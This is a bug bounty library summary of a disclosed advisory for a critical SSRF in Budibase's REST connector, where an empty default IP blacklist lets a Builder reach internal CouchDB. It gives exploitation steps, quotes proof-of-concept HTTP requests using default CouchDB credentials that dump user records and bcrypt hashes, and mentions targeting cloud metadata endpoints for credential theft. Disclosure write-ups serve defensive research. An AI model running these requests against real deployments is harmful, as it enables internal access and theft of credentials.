# Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist

Budibase's REST connector SSRF blacklist returns false when BLACKLIST_IPS is unset, letting a Builder reach internal CouchDB and exfiltrate user hashes and secrets.

- Payout: Research
- Severity: critical
- Program: Budibase
- Found by: Moonster8282
- Disclosed: 2026-04-03
- CVE: CVE-2026-31818
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7r9j-r86q-7g45
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-7r9j-r86q-7g45
- Tags: area:cloud domain:cloud domain:web impact:data-leak impact:internal-access impact:privesc kind:research platform:ghsa sev:critical tech:docker technique:default-creds technique:source-review vuln:misconfiguration vuln:ssrf

**Target:** REST datasource connector / backend-core blacklist module
**Root cause:** isBlacklisted() returns false unconditionally when BLACKLIST_IPS is unset, and no default private-IP ranges are hardcoded, so the REST integration's pre-fetch check never blocks internal URLs.
**Steps:**
1. Deploy default Docker Compose stack; obtain Builder session cookie and app id.
2. `POST /api/datasources` with `{"datasource":{"name":"Internal CouchDB","source":"REST","type":"datasource","config":{"url":"http://couchdb-service:5984","defaultHeaders":{}}}}` — accepted with no validation.
3. Create a query against `GET /` and execute via `POST /api/v2/queries/<query_id>`; response returns CouchDB welcome JSON.
4. Query `GET /_all_dbs` with `Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U=` to enumerate databases.
5. Query `GET /global-db/_all_docs?include_docs=true&limit=20` to dump user records including bcrypt hashes and config.
6. Probe `http://minio-service:9000` and `http://redis-service:6379`; differential errors map internal services.
**How found:** Code review of the blacklist module revealed isBlacklisted() short-circuits to false on an empty array, and inspection of hosting/.env showed BLACKLIST_IPS is never set by default — confirming the guard is dead code in default deployments.
**Exploitation:** A Builder (or any user with QUERY WRITE on an existing query) creates a REST datasource pointing at internal Docker-network hostnames, then executes queries that proxy arbitrary HTTP requests. Because CouchDB admin creds are default (budibase:budibase) and reachable, the attacker reads all databases, user bcrypt hashes, platform config, and can PUT/POST/DELETE to modify users or data.
**Escalation:** Chains with CVE-2026-25040 (Creator→Admin privesc) for full instance takeover; on cloud deployments targets 169.254.169.254 for IAM credential theft.
**Insight:** When auditing SSRF defenses, check the deny-list initialization path: an empty configured list that short-circuits to 'allowed' is a common insecure-default pattern, especially when the env var is absent from shipped deployment templates.

## Proof of concept (copied exactly from the original report)

**POST creating REST datasource to internal CouchDB**

```
POST /api/datasources HTTP/1.1
Host: localhost:10000
Content-Type: application/json
Cookie: budibase:auth=<session_token>
x-budibase-app-id: <app_id>

{
  "datasource": {
    "name": "Internal CouchDB",
    "source": "REST",
    "type": "datasource",
    "config": {
      "url": "http://couchdb-service:5984",
      "defaultHeaders": {}
    }
  }
}
```

**Query exfiltrating global-db user docs with bcrypt hash**

```
GET /global-db/_all_docs?include_docs=true&limit=20`
Headers: `Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U=` (budibase:budibase)

**Response** — Full user record with bcrypt hash:
{
  "data": [{
    "total_rows": 4,
    "rows": [
      {
        "id": "config_settings",
        "doc": {
          "_id": "config_settings",
          "type": "settings",
          "config": {
            "platformUrl": "http://localhost:10000",
            "uniqueTenantId": "23ba9844703049778d75372e720c7169_default"
          }
        }
      },
      {
        "id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
        "doc": {
          "_id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
          "email": "admin@test.com",
          "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK",
```

**Query execution request to run SSRF query**

```
POST /api/v2/queries/<query_id> HTTP/1.1

**Response** — Internal CouchDB data returned to the attacker:
{
  "data": [{
    "couchdb": "Welcome",
    "version": "3.3.3",
    "git_sha": "40afbcfc7",
    "uuid": "9cd97b58e2cef72e730a83247c377d2b",
    "features": ["search","access-ready","partitioned",
                 "pluggable-storage-engines","reshard","scheduler"],
    "vendor": {"name": "The Apache Software Foundation"}
  }],
  "code": 200,
  "time": "44ms"
}
```

